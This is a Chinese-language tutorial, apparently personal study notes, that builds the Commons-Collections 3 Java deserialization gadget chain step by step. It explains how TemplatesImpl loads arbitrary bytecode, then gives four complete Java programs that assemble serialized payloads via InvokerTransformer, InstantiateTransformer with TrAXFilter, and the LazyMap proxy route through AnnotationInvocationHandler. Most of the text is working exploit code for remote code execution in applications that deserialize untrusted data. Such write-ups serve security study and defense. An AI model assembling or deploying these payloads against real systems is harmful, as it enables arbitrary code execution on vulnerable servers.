先介绍一下URLClassLoader
URLClassLoader可以从传入的URL上加载任意类
且支持http协议
实际上类加载最关键的地方在Classloader#definClass()
所以我们要去找有谁调用了该方法
在TemplatesImpl
的内部类TransletClassLoader#defineClass()
处调用
往前
TemplatesImpl#defineTransletClasses()
往前
TemplatesImpl#getTransletInstance()
往前
TemplatesImpl#newTransformer()
这个函数是public修饰的可以被外部修饰
我们先写一个demo测一下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException {
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = clazz.getDeclaredField("_name");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
Field tfactory = clazz.getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
name.set(templates,"ss");
byte[] code = Files.readAllBytes(Paths.get("绝对路径"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}
注意Test类要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
避免TemplatesImpl#defineTransletClasses
抛空指针异常
TemplatesImpl实现了Serializable接口
后面和cc1差不多
改改就能用了
先测一下确保没写错
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = clazz.getDeclaredField("_name");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
// Field tfactory = clazz.getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
// tfactory.setAccessible(true);
name.set(templates,"ss");
byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates)
,new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,decoratedMap);
// serialize(obj);
unSerialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}
在ysoserial上是用的InstantiateTransformer
那我们再来看看这个怎么实现
TrAXFilter的构造方法中调了newTransformer
我们可以通过InstantiateTransformer#transform()
来调构造方法
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
// URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://target\\classes\\Test.class")});
// Class> c = urlClassLoader.loadClass("Test");
// c.newInstance();
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = clazz.getDeclaredField("_name");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
// Field tfactory = clazz.getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
// tfactory.setAccessible(true);
name.set(templates,"ss");
byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates)
// ,new InvokerTransformer("newTransformer",null,null)
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
// HashMap hashMap = new HashMap<>();
// hashMap.put("value","value");
// Map
//
// Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
// .getDeclaredConstructor(Class.class, Map.class);
// constructor.setAccessible(true);
// Object obj = constructor.newInstance(Target.class,decoratedMap);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class)
,new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,decoratedMap);
serialize(obj);
unSerialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}
最后再改成lazyMap的就行了
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
// URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://target\\classes\\Test.class")});
// Class> c = urlClassLoader.loadClass("Test");
// c.newInstance();
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = clazz.getDeclaredField("_name");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
// Field tfactory = clazz.getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
// tfactory.setAccessible(true);
name.set(templates,"ss");
byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates)
// ,new InvokerTransformer("newTransformer",null,null)
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
// HashMap hashMap = new HashMap<>();
// hashMap.put("value","value");
// Map
//
// Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
// .getDeclaredConstructor(Class.class, Map.class);
// constructor.setAccessible(true);
// Object obj = constructor.newInstance(Target.class,decoratedMap);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class)
,new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Constructor annotationInvocationHandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
HashMap<String, Object> hashMap = new HashMap<>();
LazyMap lzMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
InvocationHandler lzInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lzMap);
Map proxyLazyMap = (Map) Proxy.newProxyInstance(lzMap.getClass().getClassLoader(), lzMap.getClass().getInterfaces(), lzInvocationHandler);
Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyLazyMap);
serialize(obj);
unSerialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}